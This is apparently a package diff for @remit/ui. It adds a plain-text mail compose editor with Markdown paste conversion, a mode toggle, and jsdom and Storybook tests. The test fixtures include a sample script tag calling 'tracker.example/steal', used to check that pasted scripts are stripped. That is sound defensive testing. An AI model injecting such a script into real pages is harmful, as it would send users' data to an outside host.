@remit/ui 0.0.100 → 0.0.101

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@remit/ui",
3
- "version": "0.0.100",
3
+ "version": "0.0.101",
4
4
  "type": "module",
5
5
  "files": [
6
6
  "src"
@@ -0,0 +1,35 @@
1
+ import { cn } from "../lib/cn.js";
2
+ import { Button } from "./button.js";
3
+
4
+ export type ComposeBodyMode = "rich" | "plain";
5
+
6
+ export interface ComposeModeToggleProps {
7
+ mode: ComposeBodyMode;
8
+ onToggle: () => void;
9
+ }
10
+
11
+ /**
12
+ * A text button, not an icon. The two glyphs a reader would reach for are
13
+ * already spoken for in an editor toolbar — the eraser clears formatting on a
14
+ * selection and the `A` opens formatting options — and the label reads the same
15
+ * in both states, so the control never changes under the finger.
16
+ */
17
+ export const ComposeModeToggle = ({
18
+ mode,
19
+ onToggle,
20
+ }: ComposeModeToggleProps) => (
21
+ <Button
22
+ variant="ghost"
23
+ size="md"
24
+ aria-pressed={mode === "plain"}
25
+ title="Plain text"
26
+ onClick={onToggle}
27
+ data-testid="compose-mode-toggle"
28
+ className={cn(
29
+ "min-h-11 shrink-0",
30
+ mode === "plain" && "bg-accent-2-soft text-accent-2",
31
+ )}
32
+ >
33
+ Plain text
34
+ </Button>
35
+ );
@@ -0,0 +1,238 @@
1
+ /**
2
+ * The plain surface mounted for real: what a paste puts in it, what it does
3
+ * when a paste has nothing to put there, and the toolbar it carries instead of
4
+ * the formatting buttons.
5
+ *
6
+ * React is imported after the jsdom globals are installed so its DOM bindings
7
+ * bind to jsdom's prototypes.
8
+ */
9
+ import assert from "node:assert/strict";
10
+ import { after, afterEach, before, beforeEach, describe, it } from "node:test";
11
+ import type { JSDOM } from "jsdom";
12
+ import type {
13
+ act as reactAct,
14
+ createElement as reactCreateElement,
15
+ } from "react";
16
+ import type { Root, createRoot as reactCreateRoot } from "react-dom/client";
17
+ import type { ComposeModeToggle as ComposeModeToggleType } from "./compose-mode-toggle.js";
18
+ import type { PlainTextEditor as PlainTextEditorType } from "./plain-text-editor.js";
19
+
20
+ const CLIPBOARD_HTML = [
21
+ '<meta charset="utf-8">',
22
+ '<h2 style="color:#c00">Quarterly numbers</h2>',
23
+ "<table><thead><tr><th>Region</th><th>Total</th></tr></thead>",
24
+ "<tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
25
+ '<script>fetch("https://tracker.example/steal")</script>',
26
+ ].join("");
27
+
28
+ let dom: JSDOM;
29
+ let container: HTMLElement;
30
+ let root: Root;
31
+ let act: typeof reactAct;
32
+ let createElement: typeof reactCreateElement;
33
+ let createRoot: typeof reactCreateRoot;
34
+ let PlainTextEditor: typeof PlainTextEditorType;
35
+ let ComposeModeToggle: typeof ComposeModeToggleType;
36
+
37
+ const surface = (): HTMLTextAreaElement => {
38
+ const textarea = container.querySelector<HTMLTextAreaElement>(
39
+ "[data-testid=compose-body-plain]",
40
+ );
41
+ if (!textarea) throw new Error("the plain surface is not mounted");
42
+ return textarea;
43
+ };
44
+
45
+ // jsdom ships no `DataTransfer`, so the clipboard is the one thing the handler
46
+ // reads off the event: a `getData` over the flavours the copy carried.
47
+ const paste = async (flavours: { html?: string; text?: string }) => {
48
+ const textarea = surface();
49
+ const event = new dom.window.Event("paste", {
50
+ bubbles: true,
51
+ cancelable: true,
52
+ });
53
+ Object.defineProperty(event, "clipboardData", {
54
+ value: {
55
+ getData: (type: string) =>
56
+ (type === "text/html" ? flavours.html : flavours.text) ?? "",
57
+ },
58
+ });
59
+ await act(async () => {
60
+ textarea.dispatchEvent(event);
61
+ });
62
+ };
63
+
64
+ before(async () => {
65
+ const { JSDOM: JSDOMCtor } = await import("jsdom");
66
+ dom = new JSDOMCtor(
67
+ "<!doctype html><html><body><div id=root></div></body></html>",
68
+ { url: "http://localhost/", pretendToBeVisual: true },
69
+ );
70
+ globalThis.window = dom.window as unknown as typeof globalThis.window;
71
+ globalThis.document = dom.window.document;
72
+ globalThis.HTMLElement = dom.window.HTMLElement;
73
+ globalThis.Element = dom.window.Element;
74
+ globalThis.Node = dom.window.Node;
75
+ globalThis.Event = dom.window.Event;
76
+ globalThis.MouseEvent = dom.window.MouseEvent;
77
+ globalThis.DOMParser = dom.window.DOMParser;
78
+ globalThis.MutationObserver = dom.window.MutationObserver;
79
+ globalThis.Range = dom.window.Range;
80
+ globalThis.AbortController = dom.window.AbortController;
81
+ globalThis.AbortSignal = dom.window.AbortSignal;
82
+ globalThis.getComputedStyle = dom.window.getComputedStyle.bind(dom.window);
83
+ globalThis.requestAnimationFrame = dom.window.requestAnimationFrame.bind(
84
+ dom.window,
85
+ );
86
+ globalThis.cancelAnimationFrame = dom.window.cancelAnimationFrame.bind(
87
+ dom.window,
88
+ );
89
+ Object.defineProperty(globalThis, "navigator", {
90
+ value: dom.window.navigator,
91
+ configurable: true,
92
+ });
93
+ (
94
+ globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }
95
+ ).IS_REACT_ACT_ENVIRONMENT = true;
96
+
97
+ ({ act, createElement } = await import("react"));
98
+ ({ createRoot } = await import("react-dom/client"));
99
+ ({ PlainTextEditor } = await import("./plain-text-editor.js"));
100
+ ({ ComposeModeToggle } = await import("./compose-mode-toggle.js"));
101
+ });
102
+
103
+ beforeEach(() => {
104
+ container = dom.window.document.createElement("div");
105
+ dom.window.document.body.append(container);
106
+ });
107
+
108
+ afterEach(async () => {
109
+ await act(async () => {
110
+ root.unmount();
111
+ });
112
+ container.remove();
113
+ });
114
+
115
+ after(() => {
116
+ dom.window.close();
117
+ });
118
+
119
+ /** A controlled surface: the value it shows is the one it last reported. */
120
+ const mount = async (
121
+ initial = "",
122
+ extra: {
123
+ onSubmit?: () => void;
124
+ autoFocus?: boolean;
125
+ trailing?: boolean;
126
+ } = {},
127
+ ): Promise<{ latest: () => string }> => {
128
+ let value = initial;
129
+ const render = () => {
130
+ root.render(
131
+ createElement(PlainTextEditor, {
132
+ value,
133
+ onChange: (next: string) => {
134
+ value = next;
135
+ render();
136
+ },
137
+ onSubmit: extra.onSubmit,
138
+ autoFocus: extra.autoFocus,
139
+ trailing: extra.trailing
140
+ ? createElement(ComposeModeToggle, {
141
+ mode: "plain",
142
+ onToggle: () => undefined,
143
+ })
144
+ : undefined,
145
+ }),
146
+ );
147
+ };
148
+ await act(async () => {
149
+ root = createRoot(container);
150
+ render();
151
+ });
152
+ return { latest: () => value };
153
+ };
154
+
155
+ describe("PlainTextEditor", () => {
156
+ it("offers no formatting buttons, and says Markdown is read here", async () => {
157
+ await mount();
158
+
159
+ assert.equal(container.querySelectorAll("button").length, 0);
160
+ assert.match(container.textContent ?? "", /Plain text · Markdown/);
161
+ });
162
+
163
+ it("inserts a pasted web page as Markdown", async () => {
164
+ const editor = await mount();
165
+
166
+ await paste({ html: CLIPBOARD_HTML, text: "Quarterly numbers" });
167
+
168
+ const text = editor.latest();
169
+ assert.match(text, /## Quarterly numbers/);
170
+ assert.match(text, /\| EMEA \| 412 \|/);
171
+ assert.equal(text.includes("<h2"), false);
172
+ assert.equal(text.includes("<script"), false);
173
+ assert.equal(text.includes("color:#c00"), false);
174
+ });
175
+
176
+ it("inserts a clipboard with no HTML flavour verbatim", async () => {
177
+ const editor = await mount();
178
+
179
+ await paste({ text: "| not | a | table |" });
180
+
181
+ assert.equal(editor.latest(), "| not | a | table |");
182
+ });
183
+
184
+ it("carries the mode toggle at the right of its toolbar", async () => {
185
+ await mount("", { trailing: true });
186
+
187
+ const toggle = container.querySelector("[data-testid=compose-mode-toggle]");
188
+ assert.ok(toggle, "the toggle rides in the toolbar");
189
+ assert.equal(toggle.getAttribute("aria-pressed"), "true");
190
+ assert.equal(toggle.textContent, "Plain text");
191
+ });
192
+
193
+ it("takes focus with the caret at the end when it arrives on a switch", async () => {
194
+ await mount("Everything written so far.", { autoFocus: true });
195
+
196
+ await act(async () => {
197
+ await new Promise((resolve) => setTimeout(resolve, 5));
198
+ });
199
+
200
+ const textarea = surface();
201
+ assert.equal(dom.window.document.activeElement, textarea);
202
+ assert.equal(textarea.selectionStart, textarea.value.length);
203
+ });
204
+
205
+ it("sends on Cmd+Enter", async () => {
206
+ let sent = 0;
207
+ await mount("Ready to go.", {
208
+ onSubmit: () => {
209
+ sent++;
210
+ },
211
+ });
212
+
213
+ await act(async () => {
214
+ surface().dispatchEvent(
215
+ new dom.window.KeyboardEvent("keydown", {
216
+ bubbles: true,
217
+ cancelable: true,
218
+ key: "Enter",
219
+ metaKey: true,
220
+ }),
221
+ );
222
+ });
223
+
224
+ assert.equal(sent, 1);
225
+ });
226
+
227
+ it("says so when a paste has nothing to insert", async () => {
228
+ const editor = await mount();
229
+
230
+ await paste({ html: '<img src="https://example.com/a.png">', text: "" });
231
+
232
+ assert.equal(editor.latest(), "");
233
+ assert.match(
234
+ container.textContent ?? "",
235
+ /Nothing to paste\. The copied content was an image, or had no text in it\./,
236
+ );
237
+ });
238
+ });
@@ -0,0 +1,227 @@
1
+ import type { Meta, StoryObj } from "@storybook/react";
2
+ import { useState } from "react";
3
+ import { expect, fn, userEvent } from "storybook/test";
4
+ import { ComposeModeToggle } from "./compose-mode-toggle.js";
5
+ import { PlainTextEditor } from "./plain-text-editor.js";
6
+
7
+ const PIPE_TABLE = [
8
+ "| Region | Total |",
9
+ "| --- | --- |",
10
+ "| EMEA | 412 |",
11
+ "| Americas | 388 |",
12
+ ].join("\n");
13
+
14
+ const CLIPBOARD_HTML = [
15
+ '<meta charset="utf-8">',
16
+ "<style>.hdr{color:#c00}</style>",
17
+ '<h2 class="hdr" style="color:#c00">Quarterly numbers</h2>',
18
+ "<p>Highlights <strong>this quarter</strong>:</p>",
19
+ "<table><thead><tr><th>Region</th><th>Total</th></tr></thead>",
20
+ "<tbody><tr><td>EMEA</td><td>412</td></tr></tbody></table>",
21
+ '<script>fetch("https://tracker.example/steal")</script>',
22
+ ].join("");
23
+
24
+ const CLIPBOARD_TEXT = "Quarterly numbers Highlights this quarter:";
25
+
26
+ /**
27
+ * The plain surface at the compose body's real geometry: a column with a height
28
+ * of its own and one scroller, which is what the sticky toolbar and the
29
+ * auto-growing textarea are written against.
30
+ */
31
+ const Surface = ({
32
+ initial = "",
33
+ onSubmit,
34
+ }: {
35
+ initial?: string;
36
+ onSubmit?: () => void;
37
+ }) => {
38
+ const [text, setText] = useState(initial);
39
+ const [mode, setMode] = useState<"rich" | "plain">("plain");
40
+ return (
41
+ <PlainTextEditor
42
+ value={text}
43
+ onChange={setText}
44
+ onSubmit={onSubmit}
45
+ trailing={
46
+ <ComposeModeToggle
47
+ mode={mode}
48
+ onToggle={() => setMode(mode === "plain" ? "rich" : "plain")}
49
+ />
50
+ }
51
+ />
52
+ );
53
+ };
54
+
55
+ const meta: Meta<typeof Surface> = {
56
+ title: "Mail/PlainTextEditor",
57
+ component: Surface,
58
+ parameters: { layout: "centered" },
59
+ decorators: [
60
+ (Story) => (
61
+ <div
62
+ data-testid="body-area"
63
+ className="flex h-[420px] w-[640px] flex-col overflow-auto rounded-md border border-line bg-canvas"
64
+ >
65
+ <Story />
66
+ </div>
67
+ ),
68
+ ],
69
+ };
70
+ export default meta;
71
+
72
+ type Story = StoryObj<typeof Surface>;
73
+
74
+ const dispatchPaste = async (
75
+ canvasElement: HTMLElement,
76
+ flavours: { html?: string; text?: string },
77
+ ) => {
78
+ const textarea = canvasElement.querySelector<HTMLTextAreaElement>(
79
+ "[data-testid=compose-body-plain]",
80
+ );
81
+ if (!textarea) throw new Error("the plain surface is not mounted");
82
+ textarea.focus();
83
+ const data = new DataTransfer();
84
+ if (flavours.html !== undefined) data.setData("text/html", flavours.html);
85
+ if (flavours.text !== undefined) data.setData("text/plain", flavours.text);
86
+ textarea.dispatchEvent(
87
+ new ClipboardEvent("paste", {
88
+ bubbles: true,
89
+ cancelable: true,
90
+ clipboardData: data,
91
+ }),
92
+ );
93
+ return textarea;
94
+ };
95
+
96
+ export const Empty: Story = { name: "Empty" };
97
+
98
+ export const WrittenNote: Story = {
99
+ name: "A written note",
100
+ args: {
101
+ initial:
102
+ "Thanks — that works for me.\n\nI'll send the deck tomorrow morning, before the standup.",
103
+ },
104
+ };
105
+
106
+ /** Monospace with no soft wrap, so the columns line up as a table. */
107
+ export const PastedTable: Story = {
108
+ name: "Holding a pasted pipe table",
109
+ args: { initial: `Numbers for the quarter:\n\n${PIPE_TABLE}\n` },
110
+ };
111
+
112
+ export const PasteHtml: Story = {
113
+ name: "Pasting a web page",
114
+ play: async ({ canvasElement }) => {
115
+ const textarea = await dispatchPaste(canvasElement, {
116
+ html: CLIPBOARD_HTML,
117
+ text: CLIPBOARD_TEXT,
118
+ });
119
+
120
+ await expect(textarea.value).toContain("## Quarterly numbers");
121
+ await expect(textarea.value).toContain("| EMEA | 412 |");
122
+ await expect(textarea.value).not.toContain("<script");
123
+ await expect(textarea.value).not.toContain("style=");
124
+ },
125
+ };
126
+
127
+ export const PasteTextOnly: Story = {
128
+ name: "Pasting a clipboard with no HTML",
129
+ play: async ({ canvasElement }) => {
130
+ const textarea = await dispatchPaste(canvasElement, {
131
+ text: "Ship it on Friday.",
132
+ });
133
+
134
+ await expect(textarea.value).toBe("Ship it on Friday.");
135
+ },
136
+ };
137
+
138
+ /** `Ctrl+Shift+V` takes the text flavour, matching Gmail and Apple Mail. */
139
+ export const PastePlainRequested: Story = {
140
+ name: "Ctrl+Shift+V takes the text flavour",
141
+ play: async ({ canvasElement }) => {
142
+ const textarea = canvasElement.querySelector<HTMLTextAreaElement>(
143
+ "[data-testid=compose-body-plain]",
144
+ );
145
+ if (!textarea) throw new Error("the plain surface is not mounted");
146
+ textarea.focus();
147
+ textarea.dispatchEvent(
148
+ new KeyboardEvent("keydown", {
149
+ bubbles: true,
150
+ cancelable: true,
151
+ key: "v",
152
+ ctrlKey: true,
153
+ shiftKey: true,
154
+ }),
155
+ );
156
+ await dispatchPaste(canvasElement, {
157
+ html: CLIPBOARD_HTML,
158
+ text: CLIPBOARD_TEXT,
159
+ });
160
+
161
+ await expect(textarea.value).toBe(CLIPBOARD_TEXT);
162
+ await expect(textarea.value).not.toContain("|");
163
+ },
164
+ };
165
+
166
+ /**
167
+ * The one paste that gets a notice is the one that inserts nothing. A paste with
168
+ * no visible result is the dead button the repo's error rule forbids.
169
+ */
170
+ export const PasteWithNothingInIt: Story = {
171
+ name: "Pasting an image on its own",
172
+ play: async ({ canvasElement }) => {
173
+ const textarea = await dispatchPaste(canvasElement, {
174
+ html: '<img src="https://example.com/cat.png">',
175
+ text: "",
176
+ });
177
+
178
+ await expect(textarea.value).toBe("");
179
+ await expect(canvasElement.textContent).toContain(
180
+ "Nothing to paste. The copied content was an image, or had no text in it.",
181
+ );
182
+ },
183
+ };
184
+
185
+ export const CommandEnterSends: Story = {
186
+ name: "Cmd+Enter sends",
187
+ args: { initial: "Ready to go.", onSubmit: fn() },
188
+ play: async ({ args, canvasElement }) => {
189
+ const textarea = canvasElement.querySelector<HTMLTextAreaElement>(
190
+ "[data-testid=compose-body-plain]",
191
+ );
192
+ if (!textarea) throw new Error("the plain surface is not mounted");
193
+
194
+ await userEvent.click(textarea);
195
+ await userEvent.keyboard("{Meta>}{Enter}{/Meta}");
196
+
197
+ await expect(args.onSubmit).toHaveBeenCalled();
198
+ },
199
+ };
200
+
201
+ /**
202
+ * At 390 the toggle stays reachable: the label is the last element in the
203
+ * toolbar's DOM and is pinned outside anything that scrolls.
204
+ */
205
+ export const Narrow: Story = {
206
+ name: "At 390",
207
+ args: { initial: PIPE_TABLE },
208
+ decorators: [
209
+ (Story) => (
210
+ <div className="flex h-[420px] w-[390px] flex-col overflow-auto rounded-md border border-line bg-canvas">
211
+ <Story />
212
+ </div>
213
+ ),
214
+ ],
215
+ play: async ({ canvasElement }) => {
216
+ const toggle = canvasElement.querySelector<HTMLElement>(
217
+ "[data-testid=compose-mode-toggle]",
218
+ );
219
+ const frame = canvasElement.firstElementChild;
220
+ if (!toggle || !frame) throw new Error("the toolbar is not mounted");
221
+
222
+ const toggleBox = toggle.getBoundingClientRect();
223
+ const frameBox = frame.getBoundingClientRect();
224
+ await expect(toggleBox.right).toBeLessThanOrEqual(frameBox.right + 1);
225
+ await expect(toggle).toHaveAttribute("aria-pressed", "true");
226
+ },
227
+ };
@@ -0,0 +1,178 @@
1
+ import {
2
+ type ClipboardEvent,
3
+ type KeyboardEvent,
4
+ type ReactNode,
5
+ useEffect,
6
+ useLayoutEffect,
7
+ useRef,
8
+ useState,
9
+ } from "react";
10
+ import { Banner } from "./banner.js";
11
+ import { htmlToMarkdown } from "./rich-text-document.js";
12
+
13
+ export interface PlainTextEditorProps {
14
+ value: string;
15
+ onChange: (text: string) => void;
16
+ onSubmit?: () => void;
17
+ /** Takes focus on mount, caret after the last character. */
18
+ autoFocus?: boolean;
19
+ placeholder?: string;
20
+ ariaLabel?: string;
21
+ /** Pinned to the right of the toolbar strip. The mode toggle rides here. */
22
+ trailing?: ReactNode;
23
+ }
24
+
25
+ const EMPTY_PASTE_NOTICE =
26
+ "Nothing to paste. The copied content was an image, or had no text in it.";
27
+
28
+ /**
29
+ * Insert through the platform where it is available, so the textarea's own undo
30
+ * stack survives the paste — `Ctrl+Z` is the browser's here, and a value
31
+ * replaced from script is not something it can undo. jsdom has no
32
+ * `execCommand`, so the same insertion is spliced by hand there.
33
+ */
34
+ const insertAtCaret = (
35
+ textarea: HTMLTextAreaElement,
36
+ text: string,
37
+ ): { value: string; caret: number } | null => {
38
+ const start = textarea.selectionStart ?? textarea.value.length;
39
+ const end = textarea.selectionEnd ?? start;
40
+ const execCommand = document.execCommand?.bind(document);
41
+ if (execCommand?.("insertText", false, text)) return null;
42
+ return {
43
+ value: textarea.value.slice(0, start) + text + textarea.value.slice(end),
44
+ caret: start + text.length,
45
+ };
46
+ };
47
+
48
+ /**
49
+ * The plain writing surface. A textarea, not a configuration of the rich
50
+ * editor: it shows the exact characters that will be sent and gets the
51
+ * platform's keyboard, IME, autocorrect, spellcheck and selection for free.
52
+ */
53
+ export const PlainTextEditor = ({
54
+ value,
55
+ onChange,
56
+ onSubmit,
57
+ autoFocus = false,
58
+ placeholder = "Write your message…",
59
+ ariaLabel = "Message body",
60
+ trailing,
61
+ }: PlainTextEditorProps) => {
62
+ const textareaRef = useRef<HTMLTextAreaElement>(null);
63
+ const pendingCaret = useRef<number | null>(null);
64
+ const plainRequested = useRef(false);
65
+ const [emptyPaste, setEmptyPaste] = useState(false);
66
+
67
+ // Grows to its content rather than scrolling inside itself: one scroller in
68
+ // the compose body keeps the caret in view for free, which a nested one is
69
+ // fragile about with the iOS keyboard up.
70
+ useLayoutEffect(() => {
71
+ const textarea = textareaRef.current;
72
+ if (!textarea) return;
73
+ textarea.style.height = "auto";
74
+ textarea.style.height = `${textarea.scrollHeight}px`;
75
+ if (textarea.value !== value) return;
76
+ const caret = pendingCaret.current;
77
+ if (caret === null) return;
78
+ pendingCaret.current = null;
79
+ textarea.setSelectionRange(caret, caret);
80
+ }, [value]);
81
+
82
+ useEffect(() => {
83
+ if (!autoFocus) return;
84
+ const textarea = textareaRef.current;
85
+ if (!textarea) return;
86
+ const timer = setTimeout(() => {
87
+ textarea.focus();
88
+ const end = textarea.value.length;
89
+ textarea.setSelectionRange(end, end);
90
+ }, 0);
91
+ return () => clearTimeout(timer);
92
+ }, [autoFocus]);
93
+
94
+ const handleKeyDown = (event: KeyboardEvent<HTMLTextAreaElement>) => {
95
+ // `Shift` on the paste keystroke selects the text flavour, matching Gmail
96
+ // and Apple Mail. A clipboard event carries no modifier state, so the
97
+ // keystroke that triggered it is what records the intent — and every
98
+ // Ctrl+V restates it, so an intent nothing acted on does not survive to
99
+ // the next paste.
100
+ if ((event.metaKey || event.ctrlKey) && event.key.toLowerCase() === "v") {
101
+ plainRequested.current = event.shiftKey;
102
+ }
103
+ if (!onSubmit) return;
104
+ if (!(event.metaKey || event.ctrlKey) || event.key !== "Enter") return;
105
+ event.preventDefault();
106
+ onSubmit();
107
+ };
108
+
109
+ const handlePaste = (event: ClipboardEvent<HTMLTextAreaElement>) => {
110
+ const clipboard = event.clipboardData;
111
+ if (!clipboard) return;
112
+ const textarea = event.currentTarget;
113
+ event.preventDefault();
114
+
115
+ const wasPlainRequested = plainRequested.current;
116
+ plainRequested.current = false;
117
+
118
+ const text = clipboard.getData("text/plain");
119
+ const html = wasPlainRequested ? "" : clipboard.getData("text/html");
120
+ const inserted = (html ? htmlToMarkdown(html) : "") || text;
121
+
122
+ if (inserted === "") {
123
+ setEmptyPaste(true);
124
+ return;
125
+ }
126
+ setEmptyPaste(false);
127
+
128
+ const spliced = insertAtCaret(textarea, inserted);
129
+ if (!spliced) return;
130
+ pendingCaret.current = spliced.caret;
131
+ onChange(spliced.value);
132
+ };
133
+
134
+ return (
135
+ <div className="flex shrink-0 grow flex-col">
136
+ <div className="sticky top-0 z-10 border-b border-line bg-canvas">
137
+ <div className="flex items-center gap-2 px-3 py-1">
138
+ {/* `aria-pressed` on the toggle conveys the mode, not the fact that
139
+ Markdown syntax is read here, so this line is the only way either
140
+ a screen reader or someone who typed `## ` learns it. */}
141
+ <span className="min-w-0 truncate py-2 text-xs text-fg-muted">
142
+ Plain text · Markdown
143
+ </span>
144
+ {trailing && <div className="ml-auto shrink-0">{trailing}</div>}
145
+ </div>
146
+ </div>
147
+ {emptyPaste && (
148
+ <Banner
149
+ tone="info"
150
+ variant="soft"
151
+ onDismiss={() => setEmptyPaste(false)}
152
+ className="mx-3 mt-2"
153
+ >
154
+ {EMPTY_PASTE_NOTICE}
155
+ </Banner>
156
+ )}
157
+ {/* 16px, not the editor's `text-sm`: iOS Safari zooms the viewport when a
158
+ form control under 16px takes focus and never zooms back, and
159
+ contenteditable is exempt — so `text-sm` would be a regression
160
+ exclusive to plain mode. Monospace with no soft wrap, because a pipe
161
+ table in a proportional face that breaks mid-row reads as the broken
162
+ output this mode exists to avoid. */}
163
+ <textarea
164
+ ref={textareaRef}
165
+ value={value}
166
+ onChange={(event) => onChange(event.target.value)}
167
+ onKeyDown={handleKeyDown}
168
+ onPaste={handlePaste}
169
+ aria-label={ariaLabel}
170
+ placeholder={placeholder}
171
+ data-testid="compose-body-plain"
172
+ wrap="off"
173
+ spellCheck
174
+ className="w-full shrink-0 grow resize-none overflow-x-auto whitespace-pre bg-canvas px-3 py-2 font-mono text-base text-fg outline-none placeholder:text-fg-subtle"
175
+ />
176
+ </div>
177
+ );
178
+ };